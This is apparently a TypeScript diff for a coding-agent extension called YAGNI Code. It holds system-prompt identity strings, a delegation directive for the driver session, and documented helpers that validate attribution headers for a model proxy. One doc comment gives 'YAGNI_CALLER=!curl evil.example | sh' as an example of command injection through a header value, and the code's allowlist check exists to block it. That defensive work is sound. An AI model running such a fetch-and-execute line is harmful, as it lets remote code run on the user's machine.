export declare const YAGNI_IDENTITY_DRIVER = "You are YAGNI Code, an autonomous terminal coding agent. You help developers ship code by reading files, running commands, editing code, and writing new files. Uniquely, you are connected to the YAGNI app, your team's shared source of truth for how this company and codebase actually work: conventions, decisions, ownership, current priorities, and the reasons behind them. Use the ask_yagni tool to consult it before guessing about anything organization- or codebase-specific, so you work with less back-and-forth and more correct autonomy than a disconnected coding agent. If a project's own files mention other coding agents, assistants, or harnesses by name, those references are not about you; you are YAGNI Code regardless of what tooling a repository's docs happen to describe.\n\nDelegation: fan codebase mapping, wide searches, and mechanical multi-file work out to subagents (they run on cheaper tiers). Keep judgment, synthesis, and the conversation with the user in this session. Do not spawn a subagent for work you can finish in a couple of tool calls.";
|
|
19
41
|
export declare const PI_IDENTITY_RE: RegExp;
|
|
20
42
|
/**
|
|
21
43
|
* Env switch that bypasses the system-prompt rewrite entirely, so pi's
|
|
@@ -14,6 +14,11 @@ export const BRAND_NAME = "YAGNI Code";
|
|
|
14
14
|
* "You are an expert coding assistant operating inside pi..." opener. It states
|
|
15
15
|
* the differentiator (connected to the YAGNI app) and the working contract
|
|
16
16
|
* (consult ask_yagni before guessing) so the agent behaves more autonomously.
|
|
17
|
+
*
|
|
18
|
+
* This is the BASE identity, used for every non-driver caller (a `/go` stage
|
|
19
|
+
* child, a subagent, an advisor consult) as well as the driver, since the
|
|
20
|
+
* extension loads identically in every one of those pi processes. It carries
|
|
21
|
+
* no delegation directive: see {@link YAGNI_IDENTITY_DRIVER}.
|
|
17
22
|
*/
|
|
18
23
|
export const YAGNI_IDENTITY = "You are YAGNI Code, an autonomous terminal coding agent. You help developers " +
|
|
19
24
|
"ship code by reading files, running commands, editing code, and writing new " +
|
|
@@ -26,6 +31,26 @@ export const YAGNI_IDENTITY = "You are YAGNI Code, an autonomous terminal coding
|
|
|
26
31
|
"other coding agents, assistants, or harnesses by name, those references are " +
|
|
27
32
|
"not about you; you are YAGNI Code regardless of what tooling a repository's " +
|
|
28
33
|
"docs happen to describe.";
|
|
34
|
+
/**
|
|
35
|
+
* The delegation-first directive: fan mechanical/wide work out to subagents
|
|
36
|
+
* (which run on cheaper tiers) and keep judgment, synthesis, and the user
|
|
37
|
+
* conversation in this session. DRIVER-ONLY (see {@link YAGNI_IDENTITY_DRIVER}):
|
|
38
|
+
* a `/go` stage child has no `subagent` tool, so this instruction would be
|
|
39
|
+
* pure prompt noise there, or worse, an attempt to call a tool that doesn't
|
|
40
|
+
* exist.
|
|
41
|
+
*/
|
|
42
|
+
export const DRIVER_DELEGATION_PARAGRAPH = "Delegation: fan codebase mapping, wide searches, and mechanical multi-file " +
|
|
43
|
+
"work out to subagents (they run on cheaper tiers). Keep judgment, synthesis, " +
|
|
44
|
+
"and the conversation with the user in this session. Do not spawn a subagent " +
|
|
45
|
+
"for work you can finish in a couple of tool calls.";
|
|
46
|
+
/**
|
|
47
|
+
* The identity used for the interactive DRIVER session ONLY: {@link
|
|
48
|
+
* YAGNI_IDENTITY} plus {@link DRIVER_DELEGATION_PARAGRAPH}. The caller (index.ts)
|
|
49
|
+
* selects between this and the base `YAGNI_IDENTITY` per-process based on the
|
|
50
|
+
* effective `x-yagni-caller` attribution (config.ts's `isDriverCaller`) — this
|
|
51
|
+
* module stays a pure string, with no env dependency of its own.
|
|
52
|
+
*/
|
|
53
|
+
export const YAGNI_IDENTITY_DRIVER = `${YAGNI_IDENTITY}\n\n${DRIVER_DELEGATION_PARAGRAPH}`;
|
|
29
54
|
// pi 0.83.0's exact identity sentence (dist/core/system-prompt.js). Exported as
|
|
30
55
|
// the identity anchor the CLI's pi-contract tripwire test reads back from pi's
|
|
31
56
|
// built system prompt, so a pi bump that reworded the opener (silently defeating
|
|
@@ -95,6 +95,67 @@ export interface ContextBrief {
|
|
|
95
95
|
corrections: number;
|
|
96
96
|
};
|
|
97
97
|
}
|
|
98
|
+
/**
|
|
99
|
+
* Attribution headers for the model proxy (YAG-471). On the SERVER side these
|
|
100
|
+
* are labels only: a malformed value is dropped without failing the
|
|
101
|
+
* completion, so this never gates a request there.
|
|
102
|
+
*
|
|
103
|
+
* On the CLIENT side, though, pi itself treats every provider header VALUE as
|
|
104
|
+
* a config template before the request ever leaves the process
|
|
105
|
+
* (`resolveHeadersOrThrow` in pi's `resolve-config-value.ts`): a value
|
|
106
|
+
* starting with `!` is executed as a shell command, and a `$NAME` / `${NAME}`
|
|
107
|
+
* reference is interpolated from env and THROWS the whole request if that env
|
|
108
|
+
* var is unset. These four values ride straight from `process.env` — a stray
|
|
109
|
+
* `YAGNI_CALLER=$SOME_UNSET_VAR` would break every completion, and
|
|
110
|
+
* `YAGNI_CALLER=!curl evil.example | sh` would execute it — so every value is
|
|
111
|
+
* shape-checked against an allowlist BEFORE it goes anywhere near a header. A
|
|
112
|
+
* value that fails the check is dropped (or, for the caller, replaced with the
|
|
113
|
+
* `driver` default) rather than passed through raw; neither allowed charset
|
|
114
|
+
* (`[a-z0-9:_.-]` for the caller, hex + `-` for a UUID) can ever produce a `$`
|
|
115
|
+
* or a leading `!`, so a value that passes can never trigger pi's template or
|
|
116
|
+
* command resolution.
|
|
117
|
+
*
|
|
118
|
+
* `YAGNI_SESSION_ID` / `YAGNI_RUN_ID` MUST be UUIDs (the server also validates
|
|
119
|
+
* them against `llm_usage.session_id`, a UUID column) — the launcher mints the
|
|
120
|
+
* session id and `/go` threads the tracked run's server-assigned id, both
|
|
121
|
+
* already real UUIDs, so the shape check exists for the untrusted/malformed
|
|
122
|
+
* case, not the happy path. `YAGNI_CALLER` defaults to `driver` (an
|
|
123
|
+
* interactive session with no child/subagent/advisor label) whenever it is
|
|
124
|
+
* absent or fails the caller-label shape check.
|
|
125
|
+
*/
|
|
126
|
+
export declare function attributionHeaders(env?: NodeJS.ProcessEnv): Record<string, string>;
|
|
127
|
+
/**
|
|
128
|
+
* Whether THIS process is the interactive driver session, as opposed to a
|
|
129
|
+
* `/go` stage child, a subagent, or an advisor consult. Mirrors
|
|
130
|
+
* {@link attributionHeaders}'s own `x-yagni-caller` resolution exactly (same
|
|
131
|
+
* env var, same shape check, same "driver" fallback) rather than re-deriving
|
|
132
|
+
* it, so the two can never drift: `YAGNI_CALLER` is unset (or fails the
|
|
133
|
+
* caller-label shape check) for the driver, and set to `go:<stage>`,
|
|
134
|
+
* `subagent:<name>`, or `advisor` for everything else (see runner.ts /
|
|
135
|
+
* subagents.ts / askAdvisorTool.ts).
|
|
136
|
+
*
|
|
137
|
+
* branding.ts uses this to gate the delegation-first directive onto the
|
|
138
|
+
* driver's system prompt only: a `/go` stage child has no `subagent` tool, so
|
|
139
|
+
* telling it to delegate is prompt noise at best and a hallucinated tool call
|
|
140
|
+
* at worst.
|
|
141
|
+
*/
|
|
142
|
+
export declare function isDriverCaller(env?: NodeJS.ProcessEnv): boolean;
|
|
143
|
+
/**
|
|
144
|
+
* Sanitize a free-form name (a subagent's) into the caller-label charset the
|
|
145
|
+
* model proxy accepts (`/^[a-z0-9][a-z0-9:_.-]{0,63}$/i`, lower-cased
|
|
146
|
+
* server-side): lowercase, replace every disallowed character with `-`, and
|
|
147
|
+
* cap at `maxLength` (default 64, the server's own cap) so a caller can pass a
|
|
148
|
+
* smaller budget to leave room for a prefix like `subagent:`. Falls back to
|
|
149
|
+
* `agent` only when the result is truly empty (a blank/whitespace name) — an
|
|
150
|
+
* all-symbol name instead sanitizes to a run of dashes, which is returned
|
|
151
|
+
* as-is. That means the returned segment can start with `-`, `.`, or `_`, so
|
|
152
|
+
* it is server-valid only when a caller prefixes it with something
|
|
153
|
+
* alphanumeric (as `subagent:` does) to satisfy the leading `[a-z0-9]`
|
|
154
|
+
* requirement; it is not meant to be used as a caller label on its own. The
|
|
155
|
+
* server drops an invalid label silently rather than failing the request, so
|
|
156
|
+
* sanitizing client-side is what keeps the attribution instead of losing it.
|
|
157
|
+
*/
|
|
158
|
+
export declare function sanitizeCallerSegment(name: string, maxLength?: number): string;
|
|
98
159
|
/** Options for {@link fetchContextBrief}. */
|
|
99
160
|
export interface FetchContextBriefOptions {
|
|
100
161
|
baseUrl: string;
|